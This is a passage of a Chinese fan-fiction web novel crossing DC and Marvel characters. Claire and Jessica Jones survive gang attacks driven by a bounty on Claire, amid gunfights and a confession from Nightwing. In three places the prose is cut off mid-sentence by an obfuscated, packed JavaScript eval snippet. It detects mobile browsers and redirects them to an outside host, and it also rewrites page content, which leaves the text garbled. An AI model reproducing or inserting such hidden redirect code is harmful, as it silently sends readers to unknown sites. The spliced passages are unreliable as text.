杰西卡晃晃悠悠地抻长脖子，费劲地看克莱尔的脸，“嗯哼？” 克莱尔面无表情，是她的错，她为什么要和一个醉鬼说话。 她架着杰西卡，慌忙逃出酒吧。 要不是克莱尔在同□□里发现了杰西卡，她绝不会管杰西卡的破事。 她可是一拳打断克莱尔两根肋骨的超能力者，就算她醉倒在路边，克莱尔也只会冷漠地从她身上跨过去！ ……克莱尔一巴掌扇在杰西卡的小臂上，“醒醒，你住哪里？” 杰西卡努力瞅着克莱尔，她忽然伸手掏自己的口袋。 左边，空的。 右边，空的。 杰西卡脸色慢慢变了，她腮帮一鼓，弯腰狂吐！ 发酵味的恶心呕吐物溅在克莱尔的鞋上。克莱尔连连后退，只用一只手抵着杰西卡的肩膀。 她暴跳如雷，“别吐我身上，啊！我要杀了你，杰西卡·琼斯！！” 17.第 17 章 杰西卡费劲地睁开眼，空荡荡的胃在不停抽搐，涌上来火辣辣的酸水。 她凭借本能把脖子探出床沿干呕，什么东西都吐没出来。反倒是钝痛与眩晕合起伙袭击她的大脑，她裹着被子蠕动，差点从床沿上摔下去。 哪怕是超能力者，也得为前一天的宿醉赎罪。 杰西卡瘫回床上，她身下的床垫太棒了，柔软不失支撑力，她想一辈子躺在上面。女人望着陌生的天花板发呆，许久才回神。 她终于意识到自己身处一栋陌生的别墅，第二次，但这次可赖不到紫人身上。 摄入过量酒精也有一点微不足道的好处，她的压抑和恐惧都隔绝在厚重的麻木之下，这让她没有第一时间把别墅里闹得天翻地覆。 她下楼，在一楼的开放式厨房里见到了一个认识的人。 克莱尔半边身子埋进冰箱里，听到脚步声侧目朝楼梯望。她正用一把勺子干吃花生酱。 “太好了，你在下午五点之前醒了过来，我不用把你抬到医院里去。”克莱尔艰难地吞咽糊在嗓子里的花生酱，“希望你记住下次别去同性恋酒吧买醉。” 杰西卡被噎得说不出话，她环顾装修豪华的别墅，“这是你家？” “这是我哥哥的房子，我只是一个来借住的流浪汉。”克莱尔说，她从冰箱里掏出一袋冷冰冰的吐司，扔给杰西卡，“吃点东西，岛台下面第二格有杯子，水龙头是直饮水。” 她合上冰箱门，等杰西卡吃完第一片吐司，发问：“你不是本地人，你怎么还留在布鲁德海文？” 杰西卡吞咽的动作一顿，她皱眉，“怎么，你们布鲁德海文有什么奇妙的排外条件吗？” “如果你要这么问，我会回答你，是的。”克莱尔说，“好吧，我承认，我是从迈阿密搬过来的。” 杰西卡的脸色稍缓，她手里的吐司被撕成一小块一小块，用玩闹似的方式塞进嘴里，“你的语气像是在审讯一个罪犯。” “职业习惯。”克莱尔毫无歉意地耸肩，继续盘问，“你这段时间在干什么？” “我说不清楚，”杰西卡说，她揉了揉因宿醉浮肿的脸蛋，深吸一口气，“喝酒，打架，睡觉。喝酒，打架，睡觉。一些无聊的循环。” 克莱尔微眯双眼，“最近布鲁德海文的帮派在四处寻找一个和他们有过节的超能力者，你有什么头绪吗？” 杰西卡的困惑不似作伪，她很努力地在乱成一锅粥的脑袋里扒拉出一些破破烂烂的记忆片段，面部的每一根肌肉线条都僵住了。 醉鬼虚弱地道：“我在浪费自己的人生，我想干什么就干什么。” “哦，你是一个能一拳打飞一头牛的超能力者，”克莱尔双手环胸，阴阳怪气，“别表现得好像全世界都抛弃了你一样。” 杰西卡的脸颊不自然地抽搐几下，她冷笑一声，“我宁可没有它，如果超能力是上帝送给我的礼物，那上帝一定是想看我的笑话。” 克莱尔的酸言酸语一时间全都说不出口了，只能压在舌头底下。紫人监禁事件后，卡莉法和其他人都认为她受到了一定程度的精神创伤。但她不是唯一受伤的人，也不是紫人事件中受影响最大的人。 现在看来，她也不是一个体贴的人。 克莱尔难得沉默，杰西卡扔掉只剩面包渣的吐司袋子，吐气，“不管怎么说，谢谢你让我在你哥哥家睡了一晚，卧室的床垫棒极了。” 她舔舔嘴唇，“我想我还是走吧。” 她转身走出两步，克莱尔叫住她，“你是不是没地方住？” 杰西卡回头，克莱尔说：“你穿的是我的衣服，没注意吗？我没在你的外套里找到房卡和钥匙，所以……” 她掏出电话，对杰西卡比了一个手势：“稍等。” 电话拨给这栋别墅真正的主人巴希尔，他接电话的速度快得不同寻常。没等克莱尔开口，巴希尔压低声音道：“怎么连你也收到了我要被封杀的消息？” 克莱尔：“……什么？” “你不知道！”巴希尔惊道。他对紫人事件毫不知情，因此没有引发对克莱尔人身安全的过分焦虑。 巴希尔忧郁道：“长话短说，我得罪了布鲁斯·韦恩。万一我以后当不成灵媒，我们就只能回去挥霍爸妈的遗产了——你找我有什么事？” 克莱尔尽力不表现出尴尬，“你的别墅愿意再多收留一个人吗？” “你的朋友？” “不熟。” “我这个月都不能回布鲁德海文，”巴希尔说，“既然是你的朋友，她想住多久都可以——不是男人吧？” “女人。还有，她不是……”话没说完，巴希尔挂断电话。 杰西卡手足无措地站着，不知道该走该留。克莱尔捏捏鼻梁，道，“没问题，你暂时住这儿吧，别墅里多的是空房间。” 她面无表情地补充道：“只有一个要求，不准喝酒，至少不准在别墅里喝。” 多出一个同居人并没有让克莱尔的生活变得更好或更坏。杰西卡像一只躲在卧室里的跳蚤，看不见的同时充满存在感。 工作依旧是她生活的重心，这次她学乖了，早早埋伏在后巷，安静等待秃鹫搂着同伴推开酒吧后门的那一刻。 下雨了，雨水从天而降，打湿克莱尔的头发。 她的皮衣上很快布满滚动的水珠，它们贴着她的身体轮廓一颗颗下坠，汇入克莱尔脚边的水洼。 克莱尔纹丝不动，她是一个富有耐心的猎手。耐心总会给她回报。 酒吧后门打开一条缝。秃鹫，她的目标，和他新勾搭的男人像两只嘴巴缝在一起的劣质玩偶，从门缝里挤了出来。 瓢泼大雨掩盖了冰冷的杀气，阴影中滑出来一个人，和一把枪。 枪口抵住秃鹫光秃秃的后脑勺，“能把你的嘴巴挪开吗？没有歧视同性恋的意思。” 同一个夜晚，城市的另一端也在下雨。这场雨笼罩了布鲁德海文。 杰西卡的头发湿淋淋地贴在脸上，从天而降的雨水猝不及防将她浇成了一条落水狗。 她抹掉眼睛周围的水，踢了一脚地上的男人，“我没惹你吧，老兄？” 对方没有回答，哦，他被杰西卡揍晕了。 杰西卡不得不从垃圾箱里揪出除她以外在场唯一一个清醒的人。这群人都穿着背后印有两个零的上衣，显然来自同一个帮派。 她揪着男人的衣领，对方只是朝她大笑，“见鬼去吧，你想当超级英雄？” 回应他的是杰西卡的铁拳，大放厥词的男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210075|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像炮弹一样砸回垃圾箱里，不省人事。 杰西卡的拳头缓缓松开，她扯起湿透的外套，苦着脸闻了闻，“今晚必须要洗衣服了。” 暴雨如注，永无止境。雨水即将淹没城郊的临水别墅，码头涨满了水。 倾覆的黑暗中，亮灯的别墅是附近唯一的光源。蜿蜒的水痕在透光的落地窗上绘制出诡异的线条，再凑近一点，电视机的彩光糊在窗上，光影不停变动。 经过一夜辛劳，洗过澡吹干了头发的两人坐在沙发上，客厅的电视放着哥谭知名的通灵节目《我看见了谁》。 这期受邀参与通灵的嘉宾是哥谭首富布鲁斯·韦恩，他有一套很长很无聊的开场白。 “我们非得看这种东西吗？我宁可跟你看那些烂俗鬼片。”杰西卡抱怨道，她抓了一根奶酪棒，边吃边调大音量。 “放尊重点，”克莱尔说，“中间那个金发小白脸是别墅的所有者，你住着他的房子。” “好吧。”杰西卡勉强住嘴，特写镜头一一扫过参与节目录制的通灵者，定格在韦恩露出两排白牙的傻笑上，“这个节目唯一的看点就是韦恩，节目组是怎么把他绑过来的？” 克莱尔哼哼两声，“这档节目之前策划过给小丑通灵，五个通灵者被小丑杀了四个。剩下一个灵媒拒绝录制当期节目，据说小丑依旧对他下了杀手，是蝙蝠侠救了他。” 杰西卡半晌无言，问：“你哥哥赚钱真是不挑，他们不能把这份胆量用到其他地方吗？” 克莱尔遗憾摇头，拆了一根奶酪棒叼在嘴里。 两人继续欣赏电视里韦恩英俊的脸。气质是一种很玄妙的东西，让一个六英尺多的壮汉在人前显得天真又甜蜜，完全忽视了他西装下可怕的肌肉。 杰西卡突然想到一个盲点，“你最近在和夜翼约会？” 奶酪棒上下摆动，代替克莱尔点头，“嗯哼，你想要他的签名照吗？” “那天给你穿鞋的男人是韦恩的养子吧，他怎么办？” 克莱尔蹙眉望过去，“你当时不是晕过去了吗？” 杰西卡心虚地移开眼睛，“他们把我抬出来的时候我就醒了，但是太丢人了，我只好装晕，偶尔偷偷朝外面看一眼。” 克莱尔盯着她，眼神十分恐怖。 窗外大亮，银白的闪电撕裂乌云，照亮漆黑的大地与凌乱的树影，照亮别墅不远处的一队厢式车。它们没开车灯，如同三只蛰伏在阴影中的巨兽，缓慢朝别墅靠近。 轰隆—— 三秒过后，雷声在别墅上空滚动。电视的镜头拉远，韦恩坐在环形桌中间，接受第一位通灵者的通灵。 克莱尔和杰西卡期待地坐正，对别墅外逼近的危机浑然未觉。 三道尖锐的啸声穿透雨幕，榴/弹撞开落地窗，在客厅炸起惊人的火光。玻璃碎片飞溅，滚滚黑烟飘出半塌的墙壁，留下一地残骸。 数秒后，一组接一组榴/弹交替袭来，爆炸声接连不断，几乎让人以为是一场恐怖的烟火表演。 别墅经历了一轮又一轮轰炸，终于化作一片废墟。暴雨浇不灭升腾扭曲的火焰，跳动的火光映在倾颓的承重墙上，扭成千奇百怪的鬼影。 唯一幸存的电视在断壁残垣中闪了闪，屏幕的光彻底熄灭了。 18.第 18 章 一只厚底战术靴踩在玻璃渣上，发出令人牙酸的碎裂声。 废墟之中，死寂沉沉。唯有暴雨一视同仁地冲刷一切脏污。 不速之客们闯入巴希尔千疮百孔的别墅残骸，翻动大片的水泥块，寻找两个女人的尸体。 雷光闪烁，照亮他们背后的“00”，荒谬中竟显出几分井然有序。 最外围的帮派成员随意踢开脚下的一块碎石，发现碎石下遮掩的一抹红。 他弯腰去看，顺着被雨水稀释到几乎看不见的血迹，碎砖残瓦下藏着一扇敞开的暗门。 敞开的，为什么是敞开的？ 这个问题在他脑袋里一闪而过，子弹射穿了他的夜视镜，直抵眉心，在雨中爆开一朵血花！ 失去控制的身躯双膝跪地，接着砰一声砸进沉积的污水里。 领头者急忙退进半片坚强的墙体后，高喊：“都小心点，人还没死！” 夜视仪将暴雨下的废墟分割为深绿深灰的不同色块。视野内能活动的只有组成袭击小队的帮派成员，复仇者像一滴墨，融进滂沱大雨里。 雨幕为他们的袭击提供了便利，同样隐藏了复仇者的踪迹。 击打乐般的雨声盖过了枪响，唯有夜视仪镜头中一个接一个摔倒的身影为证，幽灵正无情地收割他们的性命，而他们根本摸不清楚对方的位置。 一朵朵血淋淋的礼花在阴冷的雨夜中盛放，狂放地将鲜血与死亡涂抹在废墟的每一个角落。 最前方的人倒下了。他后面的人也倒下了。左边的人倒下了。右侧方的人跟着倒下了。 包围圈越来越小，活着的人越来越少。 恐慌淹没了领头者。他想不明白，明明对方只有两个人而已，她们是怎么做到的，怎么活下来的！ 终于，他听清了枪声，来自他的八点钟方向，本该是厨房的位置。 领头者立刻呼唤幸存的同伴，“八点钟方向，开枪，通通开枪！” 杂乱的枪声不断，弹流覆盖了大半个客厅与整个厨房。子弹把水泥打得粉碎，像一把犁耙翻来覆去地搅动废墟，直到连一平米完整的墙都找不出来！ 哪怕躲在那里的是一只幽灵，她也该死了！ 领头人紧张地盯着废墟上的虚空，甚至不敢呼吸。他在害怕，害怕幽灵掀开废墟，直挺挺地站起来。 他的神经过分紧绷，以至于忽略了身旁的异样。冰凉的枪口戳着他的太阳穴，领头人缓慢地移动视线，窥见一张满是雨水的笑脸，一双不含笑意的大睁的眼睛。 “叭！”克莱尔模拟枪声。 她的另一只手掐住领头者的喉咙，感觉到掌下的躯体一颤。 她一字一顿，“终尾零使，很好，很好。” 枪管戳进领头者脸颊的肉里，克莱尔低声道：“你有三秒钟解释，和我解释，或者和上帝解释。三——” “你上了所有布鲁德海文帮派的黑名单。”领头人快速道，“黑市里你的人头悬赏一千万。” “二——” “去死吧，贱人！”领头者暴起，他勾住了战术背心外的匕首，挥刀刺向克莱尔的眼睛。 可克莱尔没有数到“一”，倒计时刚到“二”时她就扣动了扳机。 子弹贯穿男人的左右太阳穴，鲜血在她的脸上溅出一个扇形，像一把血红的小扇子，很快又被雨水冲掉。 “真抱歉，我说话不算话。”她冷漠地瞧着男人的尸体，笑了一下。 剩余的袭击者们反应过来，向她举枪。 杰西卡一脚踹上其中一人的背心，急速飞出的身体砸中另一个人。两个叠在一起的男人发出痛苦的哀嚎。 她举起一块半人高的水泥块，瞄准第三个人的脑袋。 克莱尔喝止住她，“杰西卡，不准杀人！” 话音刚落，打空的弹匣落地又弹起，新的弹匣挤进卡榫。克莱尔抬枪，砰、砰、砰！ 只剩下她和杰西卡，站在暴雨之下，站在燃烧的废墟里。 杰西卡抹了把眼睛，踢上客厅安全屋的合金门，挡住炮火的门簌簌落下一片焦黑的灰，“你不是说不准杀人吗？” 克莱尔疑惑地挑眉，“是你不能杀，又不是我不能杀。我可以合法使用致命武力。” “好吧，天才。”杰西卡环顾四周，深深叹息，“接下来怎么办？” 克莱尔也看着她，片刻后颓废地坐在曾是厨房岛台的东西上，踹开领头者的尸体。 “我真想抽根烟，可惜我不抽烟，我这儿也没烟。” 暴雨在凌晨时分雨停，布鲁德海文的天空与海水一样混浊。主任疯虎般的怒吼穿透没人的外勤办公室，“克莱尔·克洛宁，你疯了吗？” “十八个人，整整十八个人！这意味着你打空了一个格/洛/克/2/3的弹匣还多三发子弹！” 卡莉法怒道：“你知道这意味着什么吗？” 克莱尔端着热茶，冷静道：“这意味着我的枪法很好，正好一人一颗子弹。” 卡莉法怒极反笑，无力地扶住额头。她向克莱尔伸手，“把你的配枪给我，它被收缴了。” 这在克莱尔的意料之中。战绩剽悍的格/洛/克/2/3交到卡莉法手里，领导难看的表情总算好了一点。 “天亮以后你和琼斯将接受连续不断的约谈，那些调查员比蟑螂更烦人。你，对，别扭头，检察长办公室要启动对你的调查，你最好小心点。” 克莱尔眉头紧锁，不满道：“我是一个险些被R/P/G炸成一百块的受害者，目前为止，我身上还背着一千万的悬赏。他们打算调查什么？我的死法？” “所以我说，特殊情况，特殊对待。”卡莉法扔给她一串钥匙，“八号安全屋，归你了，带着你的超能力朋友避避风头。” “感恩我的女王，”克莱尔接住钥匙，“有情况我们随时联系。” 卡莉法头痛地摆摆手，“在检察长办公室过来前，快走吧。楼下有一辆没有悬挂牌照的雪佛兰，你的夜鹰1911在手套箱里。万一被发现，我就说是你自己把枪偷出来的。” “天呐，”克莱尔感叹，“我上辈子一定拯救了布鲁德海文，不然没办法拥有你这么好的领导。” “少贫嘴。”卡莉法勉强弯弯唇，更多的是忧虑，“以后我再找你算账。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215200|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雪佛兰绝尘而去，卡莉法站在办公室窗前，能看到副驾驶座的杰西卡不安地和克莱尔交谈。雪佛兰隐入清晨车流稀疏的街道，驶出卡莉法的视线。 作为一个经验丰富的特工，一个久经风霜的中年人，她深知克莱尔的麻烦远远没有结束。 卡莉法甚至没有她表现得那么生气。恐/怖/分/子没有人权，克莱尔必须开枪，不能停止开枪，因为卡莉法不确定她能否活下来。 活着，是克莱尔的首要任务。卡莉法的任务是扛过检察长办公室的第一轮问责，以及向布鲁德海文警局发难。 别墅遭遇袭击后的一个小时，竟然没有一个警察到场。BPD的态度令卡莉法不寒而栗。 有人推开办公室大门，哈伦蹑手蹑脚走到卡莉法背后，轻声道：“她那把夜鹰的记录已经抹掉了，现在那是一把黑枪。” “我以前总是为克洛宁的出格行为烦恼，现在更让我烦恼的是她太保守了，她就该在家里藏一个武器库，把那群不长眼的黑/帮/杀/手通通炸死！” 她长吁一口气，“技术科那边什么情况？” “他们还没，哦，”哈伦的手机震动，他点开屏幕，脸色顿时变了，“有人入侵了我们的档案库，调取了克莱尔的档案。” 卡莉法呼吸一滞，“档案库被入侵，我们的安全屋也不安全了！” 她脱口而出一句脏话，扑到办公室固定电话前，回拨克莱尔的手机。 “克莱，接电话！！” 克莱尔没法接电话。推开安全屋大门的一霎那，低沉的嗡嗡声响起，如同一道不祥的警示。 光顺着打开的门投进昏暗的屋内，一架加/特/林/机/炮正对大门，长长的弹链堆满地板。 克莱尔只来得及推动杰西卡的肩膀，杰西卡反手抓住克莱尔的手腕，她两脚一蹬，带着克莱尔高高飞跃入空。 刹那，开火，枪/炮轰鸣！ 她们简直就是在飞行了。安全屋在脚下变成一个小点，金属狂流席卷她们原本站立的位置。门口十米于顷刻间化作粉碎的尘土！ 如果不是杰西卡跳得足够高，如果不是杰西卡有超能力，现在她们只是两堆看不出人形的肉沫。 数秒过后，她们开始下坠，而加/特/林的咆哮也戛然而止，枪管空转。 两人摔在化为齑粉的水泥地上，杰西卡给克莱尔垫了一下，后者怒不可遏，反手拔枪。 一道庞大的愤怒的影子撞碎安全屋窗户，卡里棍裹挟奔腾的电流，击中杀手的胸口。电光大作，克莱尔都没看清发生了什么，加/特/林后的人撞破房门，如打坏的沙包一般飞进另一个房间。 满地滚烫的弹壳被踢开，眨眼间，夜翼飞奔到她的身前，像一床厚重的被褥、一张沉闷的捕捉网，死死抱住克莱尔。 克莱尔没死在加/特/林的一息三千六百转下，她就要因为夜翼的拥抱窒息了。 “我以为我要失去你了。”一滴水渗出面罩，落到她滚烫的肩颈上。夜翼慢慢放松了力道，但双手依旧紧紧锁着她。 克莱尔的心跳快了一拍，她迟疑地抬起手，慢慢搂住他的后背。 19.第 19 章 调查局提供的安全屋已不再安全，克莱尔脸色难看地权衡半晌，同意了夜翼的提议。 他留下来处理加/特/林和躲在安全屋内的袭击者。克莱尔和杰西卡先走一步，根据他提供的地址和安全密钥，去他的安全屋稍作休整。 半小时后，克莱尔打开一间私人车库，找到通往阁楼的暗门。 比起一座超级英雄的秘密基地，这里更像一间有床和沙发的仓库，所有东西都堆在没有隔断的宽阔大厅里，没做任何功能区分。 克莱尔从医疗床底下翻出医药箱，处理被杰西卡带上天砸出来的伤口。她撕开医用胶布，回头发现杰西卡一进门就躺到了沙发上，像一条忧郁的腌制沙丁鱼。 “杰西卡，”克莱尔主动出击，“你怎么得罪了终尾零使？” “这句话不该由我来问你吗？”杰西卡甩两条腿搭上沙发扶手，“你的人头明码标价，朋友。” 克莱尔脚后跟一蹬，轮滑椅滑到沙发边，“我办的案子确实和终尾零使扯上了关系，但是他们对你的态度可不像是迁怒。” 两人僵持对视一段时间，杰西卡的眼睛心虚地飘到另一边，“只是发生过几次冲突而已，他们欺负几个晚归的女孩，我又不能放着不管。” “终尾零使全责，我就知道这群帮派都是垃圾。”克莱尔说，“换一个话题，你有什么想法？” 杰西卡仰头看着她，眼神清澈到了愚蠢的地步。 她吐出一口气，“要不，问问夜翼吧？” 她对布鲁德海文的了解仅限于酒精和酒吧，到现在为止杰西卡甚至不知道布鲁德海文的地标建筑是什么。 察觉到这个答案很不靠谱，杰西卡尴尬地摸摸鼻子，手比着脖子狠戾一划，“或者我们杀进终尾零使的总部，按住他们老大的后脑勺，揍上十七八回，逼他撤销你的悬赏。” “好想法，”克莱尔说，“那我为什么不直接一枪崩了他？” 她们再次面面相觑，克莱尔没有感情地笑了一声，“凭一腔孤勇杀进去容易，想全须全尾活着离开难。我们还没走到自寻死路的地步。” “何况瞄准我项上人头的不止一个帮派。” 轮滑椅转开了，医疗箱落到杰西卡肚子上，“记得处理下你的伤口。” “嘿！”杰西卡不满意地瞪过去。 就在这时，安全屋的暗门滑开，克莱尔和杰西卡同时把头转向门口。 夜翼停在门口，没有走进。他的制服上多出许多灰尘，“海文警局接收了袭击你们的犯人，我审问过了，他不是终尾零使的成员。” “真不错，”克莱尔点头，“我想知道布鲁德海文还能找出几架加特林，是不是够用我的肉馅和弹壳包饺子。” “别这么说。”夜翼温和地道。 他的温柔有股强撑的疲惫，底下的恐惧与惊怒如同地底奔流的岩浆，从缝隙里透出起伏的热气与炽光。 “外面有很多人在找你们，不到万不得已别出门。”他嘱咐道。 “这里的食物和水足够你们生活两周，储物柜里有备用的生活用品。我会在两周内解决好一切，到时候你们就能平安离开。” 克莱尔的手臂环在胸前，这是一个充满戒备的防御动作。她的声音很冷，“你希望我们躲在你的安全屋里，让你一个人逞英雄？” “我……”夜翼沉默半晌，“我没有这么想。” “如果我说‘不’呢？”克莱尔问道，“你要把我关在你的安全屋里吗？” 夜翼只是看着她，什么都没有说。 于是克莱尔明白了他的心思，她猛地站起来，“你考虑过，你在评估可行性，你打算把所有事情、把我的事情，都揽到自己身上！” 轮滑椅受到推力，撞出去很远，撞到墙上。克莱尔愤怒道：“你想让我当一只愚蠢的、等待被狩猎的兔子，不可能！” “又或者，”她冷笑，那些没有落脚处的愤火全冲着夜翼扑过去，“你担心我会死在帮派剿杀里，又怕我杀疯魔，变成下一个奇装异服的魔头，是不是？” 夜翼压抑地低吼：“我从来没这么说过！” 杰西卡抱着医疗箱，躲在沙发靠背与坐垫的缝隙间，夹在应激的克莱尔和隐忍怒气的夜翼之间，她不敢动，不敢呼吸，只能默默缩成无助的一条，尽可能减少自己的存在感。 她紧紧闭着眼睛，又忍不住睁开一只眼偷看她们的表情。 夜翼挫败地长叹，他简直是在恳求，“拜托了，CC！我只是……我可能是有过度保护的冲动，但别把我想得太坏，我不是一个在你被逼上绝路时还要指责你不够善良宽容的混账！” 克莱尔的脸颊抽动两下，她起伏的胸口慢慢平息。 “对不起，”她揉揉太阳穴，“我言辞过激了，但我还是要说，你别想替我包揽所有工作。” 僵硬的氛围稍微和缓了些，杰西卡松了一口气，小心翼翼地撑起身体，打量二人的神色。 夜翼走上前，越过沙发上的杰西卡，两只手搭住克莱尔的肩膀。 他和她挨得很近，额头只差一线便要触到一起。 “你不知道我接到消息的时候在想什么，你不知道我要怎么消化、接受我可能再也见不到你的事实。” 义警的语调低沉，像浸饱了雨水的一件衬衫，湿漉漉地贴着克莱尔，“我只是害怕……只是很害怕。” 克莱尔回望他，单纯地疑惑，“我不明白，我对你不应该这么重要。” “答案很简单，”夜翼说，几乎是悲伤的，“因为我爱你，仅此而已。” 克莱尔所有的咄咄逼人都被这一句挤了回去。她一时无言以对，只能愣愣地张开嘴，傻站在原地。 太安静了，杰西卡心里咯噔一响。 她探头去看夜翼，刚使出夜翼talk绝招的家伙呆呆地盯着克莱尔，如同一座雕像，一动不动，仿佛他自己也没听懂自己说的话。 杰西卡不得不轻轻咳嗽一声，提醒她们这里还有其他活物，“你们——” 夜翼被她的咳嗽声惊醒，险些跳起来。他来不及走门，三步并作两步跨到窗前，扶住窗户。 他又看向克莱尔，似乎觉得该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226005|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说点什么，但杰西卡实在听不清他吐出的残破字句。 没有等克莱尔回应，蓝鸟干脆利落纵身一跃，扑扇翅膀落荒而逃。 安全屋里又只剩两个人。 杰西卡扭头看克莱尔，被表白者的脸上有种绝地战警闯进《真爱至上》的茫然。 杰西卡谨慎道：“看来你和夜翼有过一些刻骨铭心的故事。” 克莱尔终于发出一个音，“啊？” 杰西卡揣摩她复杂的心理活动，“你们交往多久了？” 这回克莱尔看上去像突然被传送到泰坦尼克号船头的热血警探。 杰西卡悄悄分析了一番韦恩养子与夜翼的客观条件。 夜翼是超级英雄，扣分。夜翼是超级英雄，加分。夜翼身材好，加分。夜翼神出鬼没，扣分。 格雷森长相英俊，加分。格雷森不是超级英雄，加分。格雷森的养父很有钱，加分——万一他继承他养父花花公子的轻浮性格就不妙了，扣分。 可是夜翼的花边新闻也不少啊，他们半斤八两。 三个人的爱恨情仇，三个人的恩怨纠葛，嘶，克莱尔怎么从来不说？ 杰西卡幻想中的夜翼和格雷森一人抓着克莱尔的一只手，开始拔河，一边使劲一边朝情敌大喊：“滚远点，克莱尔更喜欢我！” 克莱尔站在中间，仿佛一个绝望的秤砣。 杰西卡为自己恐怖的想象打了个寒颤。她欲言又止，为难地拍拍克莱尔的肩膀，“姐妹，我……唉，祝你好运吧！” 克莱尔单手捂住她的嘴，“好了，别说了。” 杰西卡坚强地从指缝中挤出几个字，“说真的，谁是你更喜欢的那个？” “闭嘴。”克莱尔冷漠道，“算我求你。” 她摸出电话，迈出十分冷酷的步伐，走向安全屋另一端。 杰西卡竖起耳朵偷听，哦，她并没有联系那位脸蛋漂亮的格雷森，可惜，她在联系调查局那位把不安全安全屋分配给她们的上司。 克莱尔做了一个简短的汇报，她的脸紧紧绷着，杰西卡意识到发生了什么，慢慢坐正身体。 “我要出去一趟，我的上司告诉我，海文警方在终尾零使内有线人。”克莱尔说。 她快步走向暗门，在推门前突然回头，看向杰西卡的眼瞳如火，“现在我要去找警方的线人聊聊，要和我一起走吗？” 杰西卡可以不走，她可以安安稳稳地留在夜翼的安全屋里，等到所有骚乱结束，再大摇大摆地走出布鲁德海文，对这个不友善的城市竖起中指。 她不是布鲁德海文的居民，不是超级英雄——或许她当过两秒钟“珍宝”，可是遇到紫人以后，这个充满希望的代号也离她远去了。 她应当鼓励自己，历经磨难后，她依旧不算一个烂人。 她应当宽恕自己，她脆弱的精神需要过上和平安定的生活。 她能不能不要自找麻烦，哪怕一次？ “唉。”杰西卡叹气，她从沙发上弹起来，拎起外套，“走吧，我们去解决问题，或者解决制造问题的人。” 20.第 20 章 卡莉法到布鲁德海文就职的时间不超过一年，没有充足的时间发展出可靠的线人。好在她认识几个可靠的警察。 “老鼠”是其中一个警察在帮派内发展的下线，他住在梅尔维尔区一栋旧公寓的阁楼里。 此刻，克莱尔正站在阁楼门口。 她抬手，敲了敲门。她没听到脚步声，但房门忽然打开，一个身材佝偻的男人在门口小心地观察克莱尔，比起“老鼠”，克莱尔会说他更像一只阴毒狡诈的狼。 老鼠左右看看，确认没有其他人后，为克莱尔让开一条门缝。门后是再普通不过的单身公寓，杂物和垃圾随处乱扔，简直没地方下脚。 “进来吧，请坐。”老鼠踢开挡在路中间的一只皮鞋，到厨房为客人捣鼓茶水，“长话短说，你想知道什么？” “我想知道是谁发布了我的悬赏，”克莱尔一边说，一边扫过乱七八糟的客厅，“我想知道哪些帮派接下了悬赏。” “第一个问题，它的答案不是我们这种消耗品能知道的，只有更有地位的人才清楚内情。” 厨房的隔断遮挡住两人的视线，克莱尔走近被踢到墙角的皮鞋，看了一眼鞋码。码数小了。 她嘴上的的问话不停，“那第二个问题呢？” “终尾零使、泰迪帮、大都会过来抢地盘的西蒙列王……还有很多很多人想提着你的脑袋扬名。” 克莱尔默不作声地蹲下，从垃圾桶中掏出反扣在外卖盒与啤酒罐里的相框。照片上的人与屋里的人长相截然不同。 老鼠慢腾腾地从厨房里挪出来，访客坐在餐桌边的单人椅上。他将冒着热气的红茶摆到克莱尔面前，“招待不周，随便喝点吧。你还有什么想问的？” 克莱尔平静地端起红茶，红茶的热气飘在她的眉宇间，镀上一层模糊的滤镜。 老鼠盯着她，一动不动。 茶杯即将触碰到克莱尔的嘴唇，克莱尔问：“好吧，我确实还有一个问题。” “真正的‘老鼠’在哪里？” 说时迟那时快，她扔开茶杯，滚烫的茶水浇了冒充老鼠的杀手一身。 杀手的外套上滚着茶水和茶叶，他时刻防备克莱尔的动作，躲闪及时，没有被开水烫到。 他抬脚踹飞餐桌，那张沉重的实木餐桌被他踹出去几米远，狠狠撞到克莱尔腰间。 见鬼，克莱尔暗骂，她真的要怀疑想弄死自己的人是卡莉法了！ 枪响，杀手一甩外套，再抬手，手中枪向克莱尔开火。 他不再维持拙劣的伪装，站直身体后足足比克莱尔高一个头。子弹接连不断扫射，所过之处，墙上布满枪眼，将屋内打得灰尘飞溅。 克莱尔矮身躲在横倒的实木餐桌后，她拽下餐桌桌布，试了试柔韧度。 杀手踩过咯吱咯吱响的木地板，愈发靠近克莱尔。他的视线探向餐桌后，克莱尔猛地窜出来，桌布紧紧缠住枪管，向下一绞！ 杀手的枪偏移了方向，但没有让克莱尔成功缴械。他和她之前对付的那群小喽啰不是一个等级的，老练、果断，他在道上应该有自己的名号。 克莱尔与这位不知名号杀手撞上眼神，多余的桌布再次反绕一圈，同时环住杀手的手臂。再绞，再推！ 